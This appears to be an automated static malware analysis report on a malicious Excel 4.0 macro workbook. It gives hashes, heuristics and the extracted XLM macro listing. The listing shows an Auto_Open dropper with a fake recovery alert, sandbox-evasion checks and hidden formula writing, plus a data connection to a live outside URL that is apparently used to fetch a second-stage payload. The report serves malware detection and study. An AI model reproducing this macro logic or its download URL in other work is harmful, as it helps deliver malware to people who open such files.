Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d7ec9700f090d38…

MALICIOUS

Office (OLE)

181.0 KB Created: 2020-02-14 06:29:18 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 45110d49f71fb6505dcf0bc807399eb9 SHA-1: 0aefb1b8973eb67f36efb7ba4fdda48316194db9 SHA-256: 2d7ec9700f090d3802892e950752f3e6ecf5f9005f4884fc38fe190951a097a8
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open entry, which is a known technique for executing malicious code upon opening. The macro uses dangerous formula APIs, including RUN, to likely download and execute a second-stage payload from the URL https://merystol.xyz/6ng688x8. The specific macro commands and references suggest an attempt to obfuscate or control the execution flow.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://merystol.xyz/6ng688x8 In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2048 bytes
SHA-256: 0c2200801d84591fb9dacc477b4edb426d7b3dca5ae6c8593d416d61c0c7d24b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  SDVjnsdvj
' 0018     35 LABEL : Cell Value, String Constant - _6ng688x8 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00c\x00f\x00\x18\x00\x18\x00'
' 0018     33 LABEL : Cell Value, String Constant - ajhkfvgjkya len=7 ptgRef3d  SDVjnsdvj!B3 
' 0018     32 LABEL : Cell Value, String Constant - akdjfvldfu len=7 ptgRef3d  SDVjnsdvj!B1 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  SDVjnsdvj!A1 
' 0018     22 LABEL : Cell Value, String Constant - DSJVbsd len=0 
' 0018     28 LABEL : Cell Value, String Constant - SDV1HB len=7 ptgRef3d  SDVjnsdvj!C1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  SDVjnsdvj,A1,"IF(ALERT("We found a problem with some content. Do you want to try to recover as much as we can?",1),,CLOSE(TRUE))",""
'  SDVjnsdvj,B1,"IF(ISNUMBER(SEARCH("LOS", Sheet!Y103)),GOTO(SDV1HB),ON.TIME(NOW()+"00:00:02","ajhkfvgjkya"))",""
'  SDVjnsdvj,C1,"FORMULA.FILL( Sheet!Y100, SDVjnsdvj!C5)",""
'  SDVjnsdvj,A2,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  SDVjnsdvj,B2,RETURN(),""
'  SDVjnsdvj,C2,"FORMULA.FILL( Sheet!Y101, SDVjnsdvj!C6)",""
'  SDVjnsdvj,A3,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  SDVjnsdvj,B3,"IF(ISNUMBER(SEARCH("LOS", Sheet!Y103)),GOTO(SDV1HB),ON.TIME(NOW()+"00:00:02","akdjfvldfu"))",""
'  SDVjnsdvj,C3,"FORMULA.FILL( Sheet!Y102, SDVjnsdvj!C7)",""
'  SDVjnsdvj,A4,"IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","akdjfvldfu"),CLOSE(TRUE))",""
'  SDVjnsdvj,B4,RETURN(),""
'  SDVjnsdvj,C4,"FORMULA.FILL( Sheet!Y103, SDVjnsdvj!C8)",""
'  SDVjnsdvj,A5,RETURN(),""
' 0876    131 DCONN : Data Connection
'  ASCII:
'   Connection
'   https://merystol.xyz/6ng688x8
'   Sheet1!6ng688x8